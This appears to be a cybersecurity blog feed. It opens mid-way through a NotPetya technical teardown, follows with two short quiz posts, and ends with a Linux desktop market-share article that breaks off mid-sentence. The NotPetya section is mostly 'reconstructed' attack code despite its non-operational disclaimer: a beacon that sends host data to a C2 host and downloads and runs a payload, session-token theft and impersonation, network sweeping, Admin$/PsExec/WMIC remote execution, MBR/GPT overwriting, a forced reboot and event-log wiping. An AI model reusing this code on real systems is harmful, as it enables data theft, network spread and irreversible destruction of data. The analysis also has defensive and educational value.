class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;7b43ee47-2893-4cdd-bff5-f4ca75e50cfb&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"># Illustrative reconstruction based on ESET and Cisco Talos analysis
# of ZvitPublishedObjects.dll

import os, subprocess, requests, base64, winreg, sqlite3

def get_org_identifier():
    try:
        conn = sqlite3.connect("C:\\MeDoc\\Data\\medoc.db")
        row = conn.cursor().execute(
            "SELECT edrpou FROM org_settings LIMIT 1"
        ).fetchone()
        return row[0] if row else "unknown"
    except Exception:
        return "unknown"

def get_proxy_config():
    try:
        key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
        )
        return winreg.QueryValueEx(key, "ProxyServer")[0]
    except Exception:
        return None

def beacon(c2_host: str):
    host_info = {
        "edrpou": get_org_identifier(),
        "host":   os.environ.get("COMPUTERNAME", ""),
        "domain": os.environ.get("USERDOMAIN", ""),
        "user":   os.environ.get("USERNAME", ""),
    }
    encoded = base64.b64encode(str(host_info).encode()).decode()

    proxy = get_proxy_config()
    proxies = {"http": f"http://{proxy}", "https": f"http://{proxy}"} if proxy else {}

    headers = {
        "User-Agent": "medoc_ua/10.01.175",
        "Cookie": f"_ga={encoded}; _gat=1"  # exfil disguised as GA cookie
    }

    try:
        resp = requests.get(
            f"http://{c2_host}/Index.php",
            headers=headers, proxies=proxies, timeout=10
        )
        if resp.status_code == 200 and len(resp.content) &gt; 512:
            payload_path = os.path.join(
                os.environ.get("WINDIR", "C:\\Windows"), "perfc.dat"
            )
            with open(payload_path, "wb") as f:
                f.write(resp.content)
            subprocess.Popen(
                ["rundll32.exe", payload_path, "#1"],
                creationflags=0x08000000  # CREATE_NO_WINDOW
            )
    except Exception:
        pass  # silent, retries on next update cycle</code></pre></div><p>The victim installed the weapon themselves.</p><div><hr></div><h2>Phase 2: Privilege Escalation and Credential Theft</h2><p><code>perfc.dat</code> carried both a 32-bit and 64-bit Mimikatz module as embedded <code>RT_RCDATA</code> resources, written to disk as <code>dllhost.dat</code> and executed. Credentials were piped back to the parent process in memory. It also enumerated all active sessions and duplicated their tokens, letting it impersonate logged-in domain admins without cracking a single hash.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;3af252f1-cbcb-4507-87a6-8e365b04cc73&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Illustrative reconstruction based on CrowdStrike and LogRhythm analysis

#include &lt;windows.h&gt;
#include &lt;tlhelp32.h&gt;

BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp = {0};

    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken))
        return FALSE;

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return result &amp;&amp; (GetLastError() == ERROR_SUCCESS);
}

void HarvestSessionTokens(HANDLE *tokenBuffer, DWORD *tokenCount) {
    *tokenCount = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return;

    PROCESSENTRY32W pe = { sizeof(pe) };
    if (!Process32FirstW(hSnap, &amp;pe)) { CloseHandle(hSnap); return; }

    do {
        HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
        if (!hProc) continue;

        HANDLE hToken;
        if (OpenProcessToken(hProc,
                              TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE,
                              &amp;hToken)) {
            DWORD sessionId = 0, dwLen = 0;
            GetTokenInformation(hToken, TokenSessionId,
                                &amp;sessionId, sizeof(DWORD), &amp;dwLen);

            if (sessionId &gt; 0) {  // only elevated/active sessions
                HANDLE hDupToken;
                if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
                                      SecurityImpersonation, TokenPrimary,
                                      &amp;hDupToken))
                    tokenBuffer[(*tokenCount)++] = hDupToken;
            }
            CloseHandle(hToken);
        }
        CloseHandle(hProc);
    } while (Process32NextW(hSnap, &amp;pe) &amp;&amp; *tokenCount &lt; 64);

    CloseHandle(hSnap);
}

// Each harvested token is injected into a suspended thread,
// which then executes the SMB copy + remote execution as that user.
void ImpersonateAndSpread(HANDLE hToken, const char *targetIP) {
    HANDLE hThread = CreateThread(NULL, 0, LateralMovementThread,
                                   (LPVOID)targetIP, CREATE_SUSPENDED, NULL);
    SetThreadToken(&amp;hThread, hToken);
    ResumeThread(hThread);
    WaitForSingleObject(hThread, 30000);
    CloseHandle(hThread);
}</code></pre></div><div><hr></div><h2>Phase 3: Lateral Movement via EternalBlue and Credential Abuse</h2><p>Two propagation paths ran simultaneously. The dual-channel design is why even a network at 97% MS17-010 patch coverage got wiped.</p><p><strong>Method 1: EternalBlue (CVE-2017-0144)</strong></p><p>NotPetya enumerated targets quietly reading the ARP cache and TCP connection table rather than port scanning, then fired EternalBlue at any host with 445 open.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;python&quot;,&quot;nodeId&quot;:&quot;72648974-a533-49bb-8e98-28d8450315bd&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-python"># Illustrative reconstruction based on CrowdStrike and ESET analysis

import ctypes, socket, struct, ipaddress

def get_arp_targets():
    iphlpapi = ctypes.windll.iphlpapi
    buf_size  = ctypes.c_ulong(0)
    iphlpapi.GetIpNetTable(None, ctypes.byref(buf_size), False)
    buf = ctypes.create_string_buffer(buf_size.value)

    if iphlpapi.GetIpNetTable(buf, ctypes.byref(buf_size), False) != 0:
        return []

    num_entries = struct.unpack_from("I", buf.raw, 0)[0]
    targets, offset = [], 4  # skip dwNumEntries

    for _ in range(num_entries):
        # MIB_IPNETROW: 24 bytes, IP addr at offset +16
        ip_int = struct.unpack_from("&lt;I", buf.raw, offset + 16)[0]
        targets.append(socket.inet_ntoa(struct.pack("&lt;I", ip_int)))
        offset += 24

    return list(set(targets))

def build_sweep_targets():
    seen = set(get_arp_targets())
    for local_ip in get_local_interface_ips():
        net = ipaddress.IPv4Network(f"{local_ip}/24", strict=False)
        for host in net.hosts():
            seen.add(str(host))
    return list(seen)

def check_smb_reachable(ip: str) -&gt; bool:
    for port in (445, 139):
        try:
            with socket.create_connection((ip, port), timeout=0.75):
                return True
        except OSError:
            pass
    return False</code></pre></div><p><strong>Method 2: Credential-based SMB + PsExec / WMIC</strong></p><p>For patched hosts, every harvested credential pair was tried against <code>Admin$</code>. On success, <code>perfc.dat</code> was copied across and executed remotely, PsExec first, WMIC as a fallback.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;662798d0-f9df-4c59-b485-691d67a8bb58&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Illustrative reconstruction Admin$ write + remote execution

#include &lt;windows.h&gt;
#include &lt;winnetwk.h&gt;

BOOL PropagateViaCreds(const char *targetIP,
                        const char *username,
                        const char *password,
                        const char *domain) {

    char adminShare[MAX_PATH], fullUser[256];
    snprintf(adminShare, MAX_PATH, "\\\\%s\\Admin$", targetIP);

    if (domain &amp;&amp; strlen(domain) &gt; 0)
        snprintf(fullUser, 256, "%s\\%s", domain, username);
    else
        strncpy(fullUser, username, 256);

    NETRESOURCE nr = {0};
    nr.dwType       = RESOURCETYPE_DISK;
    nr.lpRemoteName = adminShare;

    if (WNetAddConnection2(&amp;nr, password, fullUser, 0) != NO_ERROR)
        return FALSE;

    char destPath[MAX_PATH];
    snprintf(destPath, MAX_PATH, "\\\\%s\\Admin$\\perfc.dat", targetIP);
    if (!CopyFile("C:\\Windows\\perfc.dat", destPath, FALSE)) {
        WNetCancelConnection2(adminShare, 0, TRUE);
        return FALSE;
    }

    // Primary: PsExec (embedded as dllhost.dat, dropped during init)
    char cmd[512];
    snprintf(cmd, 512,
        "C:\\Windows\\dllhost.dat \\\\%s -accepteula -s -d "
        "C:\\Windows\\System32\\rundll32.exe "
        "\"C:\\Windows\\perfc.dat\",#1 18",
        targetIP);
    WinExec(cmd, SW_HIDE);

    // Fallback: WMIC remote process creation
    snprintf(cmd, 512,
        "wmic /node:\"%s\" /user:\"%s\" /password:\"%s\" "
        "process call create "
        "\"C:\\Windows\\System32\\rundll32.exe C:\\Windows\\perfc.dat,#1\"",
        targetIP, fullUser, password);
    WinExec(cmd, SW_HIDE);

    WNetCancelConnection2(adminShare, 0, TRUE);
    return TRUE;
}</code></pre></div><p>Microsoft&#8217;s post-incident analysis found that credential-based propagation caused <em>more</em> spread than EternalBlue. Organisations had patched MS17-010 after <a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">WannaCry. </a>They hadn&#8217;t fixed over-privileged service accounts with tokens cached across every host in the domain.</p><div><hr></div><h2>Phase 4: MBR Overwrite and Scheduled Destruction</h2><p>This is the phase that proved it was never ransomware. NotPetya obtained a raw write handle to <code>\\.\PhysicalDrive0</code>, overwrote the MBR with a malicious bootloader, then scheduled a forced reboot ~60 minutes out, giving propagation time to complete first.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;bb5f7593-46d2-4a2b-a2f3-b94f1cc42fd9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// Illustrative reconstruction based on LogRhythm Labs binary analysis

#include &lt;windows.h&gt;

// Malicious bootloader 512-byte x86 real-mode blob stored as an
// embedded RT_RCDATA resource in perfc.dat, extracted at runtime.
extern unsigned char malicious_bootloader[512];

BOOL OverwriteMBR() {
    HANDLE hDisk = CreateFile(
        "\\\\.\\PhysicalDrive0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL
    );
    if (hDisk == INVALID_HANDLE_VALUE) return FALSE;

    DWORD written;

    // Sector 0: overwrite the 512-byte MBR
    SetFilePointer(hDisk, 0, NULL, FILE_BEGIN);
    WriteFile(hDisk, malicious_bootloader, 512, &amp;written, NULL);

    // Sectors 1&#8211;34: destroy GPT header + backup GPT
    // Ensures UEFI/GPT systems are unrecoverable, not just legacy MBR disks
    for (DWORD sector = 1; sector &lt;= 34; sector++) {
        LARGE_INTEGER offset;
        offset.QuadPart = (LONGLONG)sector * 512;
        SetFilePointerEx(hDisk, offset, NULL, FILE_BEGIN);
        WriteFile(hDisk, malicious_bootloader, 512, &amp;written, NULL);
    }

    CloseHandle(hDisk);
    return (written == 512);
}

void ScheduleReboot() {
    SYSTEMTIME st;
    GetLocalTime(&amp;st);

    int delayMinutes = 60;
    int hour   = (st.wHour + ((st.wMinute + delayMinutes) / 60)) % 24;
    int minute = (st.wMinute + delayMinutes) % 60;

    char cmd[256];

    // Vista+: schtasks under SYSTEM
    snprintf(cmd, 256,
        "cmd.exe /c schtasks /RU \"SYSTEM\" /Create /SC once /TN \"\" "
        "/TR \"shutdown.exe /r /f\" /ST %02d:%02d", hour, minute);
    WinExec(cmd, SW_HIDE);

    // XP fallback: AT command
    snprintf(cmd, 256,
        "cmd.exe /c at %02d:%02d shutdown.exe /r /f", hour, minute);
    WinExec(cmd, SW_HIDE);
}</code></pre></div><p>On reboot, the bootloader displayed a fake <code>CHKDSK</code> screen while Salsa20-encrypting the MFT in the background. With the MFT gone, the filesystem was unaddressable.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;a0dd241d-168d-4bcd-9d06-2e1a40e9041e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Repairing file system on C:
The type of the file system is NTFS.
Volume label is .

WARNING! F parameter not specified.
Running CHKDSK in read-only mode.
                                       [ 34% complete ]

# What was actually happening:
# Salsa20 encryption of MFT at \\.\PhysicalDrive0 offsets 0x0&#8211;0x4000
# Key derived locally, never transmitted. No recovery path.</code></pre></div><p>The ransom note that followed was theatrical. The contact email (<code>wowsmith123456@posteo.net</code>) was shut down by Posteo within hours. There was never a decryption mechanism; the key was generated and immediately discarded.</p><div><hr></div><h2>Phase 5: Anti-Forensic Cleanup</h2><p>Before the reboot triggered, NotPetya wiped Windows event logs, erasing the execution trail, credential theft, and lateral movement chain.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;ba92e2e7-a1f0-4998-931f-4738aa45fe3c&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">#include &lt;windows.h&gt;

void ClearEventLogs() {
    const char *channels[] = {
        "System", "Security", "Application",
        "Microsoft-Windows-TaskScheduler/Operational",
        NULL
    };
    for (int i = 0; channels[i]; i++) {
        HANDLE hLog = OpenEventLog(NULL, channels[i]);
        if (hLog) {
            ClearEventLog(hLog, NULL);  // NULL = discard, no backup
            CloseEventLog(hLog);
        }
    }
}</code></pre></div><p>The log wipe was technically redundant; the disk was being destroyed moments later anyway. Microsoft flagged it as an indicator of either ingrained nation-state tradecraft or evidence that NotPetya was the cleanup layer over a separate, quieter operation that investigators never fully reconstructed.</p><p>NotPetya also fingerprinted running AV processes (Kaspersky, Symantec, Norton) and adjusted its remote execution path accordingly before propagating.</p><div><hr></div><h2>The Damage</h2><p>$10 billion in global losses. Maersk: 45,000 PCs, 4,000 servers, 2,500 applications reinstalled across 130 countries in 10 days, $300 million lost. Merck: $870 million. FedEx: $400 million. Saint-Gobain: $384 million. Mondel&#275;z: $190 million.</p><p>NotPetya also hit Rosneft and Evraz, two Russian state-owned enterprises, either collateral damage or deliberate deniability engineering. In February 2018, the US, UK, Australian, and Canadian governments formally attributed the attack to Sandworm, GRU Unit 74455. No other single cyber operation has simultaneously targeted private industry at this scale while serving a clear geopolitical objective and done so with a weapon that offered victims no recovery path by design.</p><div><hr></div><h2>Disclaimer &amp; Methodology</h2><p>This article is intended for <strong>educational</strong> and <strong>defensive research</strong> purposes <strong>only</strong>. All code snippets are <strong>illustrative reconstructions</strong> based on published analyses from CrowdStrike, LogRhythm Labs, ESET, Cisco Talos, and Microsoft. They are deliberately incomplete and non-operational; no working exploit code, shellcode, or bootloader payload is included.</p><p>Nothing in this article should be interpreted as a step-by-step guide or used against systems without explicit authorisation.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Cyber++! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h2>Sources</h2><p><a href="https://www.crowdstrike.com/en-us/blog/petrwrap-ransomware-technical-analysis-triple-threat-file-encryption-mft-encryption-credential-theft/">CrowdStrike Triple Threat Analysis</a> | <a href="https://www.cvedetails.com/cve/CVE-2017-0144/">CVE-2017-0144 (EternalBlue)</a></p><p><a href="https://www.microsoft.com/en-us/security/blog/2018/02/05/overview-of-petya-a-rapid-cyberattack/">Microsoft Security Blog Petya Kill Chain</a> | <a href="https://gallery.logrhythm.com/threat-intelligence-reports/notpetya-technical-analysis-logrhythm-labs-threat-intelligence-report.pdf">LogRhythm Labs NOTPETYA Technical Analysis</a></p><p><a href="https://www.eset.com">ESET Research M.E.Doc Backdoor Analysis</a> | <a href="https://blog.talosintelligence.com">Cisco Talos Backdoor Timeline</a></p><p><a href="https://en.wikipedia.org/wiki/2017_Ukraine_ransomware_attacks">Wikipedia &#8212; 2017 Ukraine Ransomware Attacks</a> | <a href="https://www.sipa.columbia.edu/sites/default/files/2022-11/NotPetya%20Final.pdf">Columbia SIPA Case Study</a></p>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-60c</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-60c</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Wed, 25 Feb 2026 14:02:42 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/6b3baffd-f6eb-4eb7-baf2-6423f51dead5_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="poll-embed" data-attrs="{&quot;id&quot;:453827}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: Bell-LaPadula</p><ul><li><p>The Bell-LaPadula model is specifically designed to enforce access control in systems where confidentiality is the main concern, such as government or military applications.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Daily Cyber Quiz]]></title><description><![CDATA[Answer revealed tomorrow...]]></description><link>https://emilianocybersec.substack.com/p/daily-cyber-quiz-248</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/daily-cyber-quiz-248</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Tue, 24 Feb 2026 14:02:34 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/253af678-42e7-4562-8ae2-4503ff03355a_5760x3840.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="poll-embed" data-attrs="{&quot;id&quot;:453826}" data-component-name="PollToDOM"></div><p>Yesterday&#8217;s Answer: SSH (Secure Shell)</p><ul><li><p>Unlike Telnet, FTP, and HTTP which transmit data in plaintext, SSH provides a secure encrypted connection for remote access to a system.</p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://emilianocybersec.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://emilianocybersec.substack.com/subscribe?"><span>Subscribe now</span></a></p><p></p></li></ul>]]></content:encoded></item><item><title><![CDATA[Is It Finally The Year Of The Linux Desktop?]]></title><description><![CDATA[The joke has been running since 1998. But this time, the data looks different.]]></description><link>https://emilianocybersec.substack.com/p/is-it-finally-the-year-of-the-linux</link><guid isPermaLink="false">https://emilianocybersec.substack.com/p/is-it-finally-the-year-of-the-linux</guid><dc:creator><![CDATA[Emiliano L. Compassi]]></dc:creator><pubDate>Mon, 23 Feb 2026 17:11:17 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/83009283-1e5b-4779-a4bd-c11ec9e8f1ed_5184x3888.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For as long as anyone in the open-source world can remember, every year has been declared &#8216;the year of the Linux desktop&#8217;, and every year, it hasn&#8217;t been. The phrase mutated from a sincere prediction to a running joke. Linux dominated servers, cloud infrastructure, Android, embedded systems, and supercomputers, while somehow never quite making it onto ordinary people&#8217;s desktops. Windows kept its stranglehold, and the joke persisted.</p><p>But something changed around 2025. The numbers started moving in ways they haven&#8217;t moved before, and the reason wasn&#8217;t that Linux suddenly got dramatically better overnight. It&#8217;s that Microsoft made Windows substantially worse. Let&#8217;s actually look at what&#8217;s happening, because this time the data is worth taking seriously.</p><div><hr></div><h2><strong>The Numbers</strong></h2><p>Linux&#8217;s desktop market share globally stood at <strong>2.76%</strong> in July 2022. By the end of 2025, StatCounter puts it at <strong>4.7%</strong> worldwide, a 70% increase in three years. In the United States specifically, Linux crossed the <strong>5% threshold for the first time in June 2025</strong>, hitting 5.03% according to StatCounter data. The US Digital Analytics Program, which tracks the operating systems of visitors to federal government websites, recorded <strong>that 6% of visitors were running Linux</strong> as of August 2025.</p><p>To put that growth trajectory in perspective: it took Linux two decades to reach 1% desktop market share in 2011, then another decade to reach 2%. Going from roughly 2% to nearly 5% in three years is unprecedented.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!n3xn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!n3xn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 424w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 848w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 1272w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!n3xn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png" width="602" height="551.6621160409557" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1074,&quot;width&quot;:1172,&quot;resizeWidth&quot;:602,&quot;bytes&quot;:105568,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://emilianocybersec.substack.com/i/188885383?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!n3xn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 424w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 848w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 1272w, https://substackcdn.com/image/fetch/$s_!n3xn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0eb7b0b6-f865-4364-8eb0-153fc16908f4_1172x1074.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>On<a href="https://en.wikipedia.org/wiki/Steam_(service)"> Steam</a>, which matters because gaming has historically been one of the most stubborn barriers to Linux adoption, Linux hit an all-time high of <strong>3.20%</strong> of the platform&#8217;s user base in November 2025, up from 2.03% a year earlier. That&#8217;s a 57% year-over-year increase, representing approximately 4.2 million monthly active Linux gamers. Crucially, that growth is no longer just from Steam Deck owners. Data from the Steam survey shows that the share of Linux installs on SteamOS is declining, while Arch, Ubuntu, and gaming-focused distributions like CachyOS and Bazzite are increasing. People are going out of their way to install Linux on conventional hardware.</p><p>Among developers, Ubuntu remains a key indicator of wider desktop adoption. The Stack Overflow Developer Survey 2025 shows <strong>that 27.8% use Ubuntu</strong> for personal purposes and 27.7% for professional reasons, excluding WSL (Windows Subsystem for Linux).</p><div><hr></div><h2><strong>What Actually Drove This</strong></h2><h2><strong>The Windows 10 End-of-Life Cliff</strong></h2><p>The single largest catalyst was Microsoft&#8217;s decision to end Windows 10 support on <strong>October 14, 2025</strong>. This alone created a migration moment affecting hundreds of millions of machines, and Microsoft ensured a significant portion couldn&#8217;t follow the &#8216;obvious&#8217; upgrade path.</p><p>Windows 11&#8217;s TPM 2.0 requirement locked out a massive installed base of otherwise perfectly functional hardware. A machine running an Intel 7th- or 8th-generation processor, hardware that was mainstream and mid-range as recently as 2019, cannot officially upgrade to Windows 11. Microsoft&#8217;s official message to those users was stark: buy new hardware, or be left without security updates. Zorin OS, one of several Linux distributions explicitly marketing itself to Windows refugees, reported that over <strong>780,000 Windows users had transitioned to Linux</strong> in the wake of the end-of-life announcements.</p><p>The TPM requirement wasn&#8217;t a neutral technical decision. It was a hardware-refresh driver wrapped in security rhetoric, and users understood it that way. A significant chunk chose a third option Microsoft hadn&#8217;t intended: leave Windows entirely.</p><h3><strong>Microsoft&#8217;s Alienation Campaign</strong></h3><p>Even among users with Windows 11-compatible hardware, 2025 became an extraordinary test of Microsoft&#8217;s ability to gauge exactly how much degradation users will tolerate before they leave. The company&#8217;s strategy throughout 2024&#8211;2025 was to position Windows 11 as an AI platform first and an operating system second. This manifested in a series of deeply unpopular decisions: Copilot integrations appearing in Notepad, Paint, File Explorer, and Edge, many of which required cloud connectivity and data transmission to be useful at all. Windows Recall, a feature that would screenshot and index everything you do on your PC, launched to a wave of privacy and security criticism so severe that Microsoft was forced to delay it by an entire year while it addressed fundamental security flaws. When Windows president Pavan Davuluri publicly announced that Windows would evolve into an &#8216;agentic OS,&#8217; the backlash was so overwhelming that he was forced to disable replies to the post and issue a clarifying statement.</p><p>Windows Latest compiled a list of 20 major Windows 11 update bugs in 2025 alone. The Microsoft 365 Personal subscription price increased to $9.99 per month to cover the inclusion of mandatory AI features, up from $6.99. Community tools like Flyoobe emerged specifically to bypass Windows 11&#8217;s hardware requirements and surgically remove AI integrations during installation. The term &#8216;Microslop&#8217; trended on social media. By January 2026, Microsoft had conceded ground, announcing plans to strip back Copilot from Notepad and Paint, pause new Copilot integrations, and reconsider the entire direction of Windows Recall. Internal leaks suggest the company is now describing Windows 11&#8217;s situation as requiring a &#8216;Windows 8.1 moment&#8217;, a soft reboot to recover from a catastrophic misjudgement of what users actually want. That&#8217;s a remarkable admission for the dominant desktop OS vendor. Windows actively drove users to look for alternatives, rather than Linux simply attracting them.</p><h3><strong>The Raw Performance Argument</strong></h3><p>There&#8217;s a pull factor that often gets overlooked in these discussions: Linux is simply faster on the same hardware. Windows 11&#8217;s background processes, telemetry services, Copilot integrations, and mandatory update infrastructure consume a non-trivial amount of system resources at idle. A machine running a lean Linux distribution, such as Ubuntu, Fedora, or especially Arch, will typically show 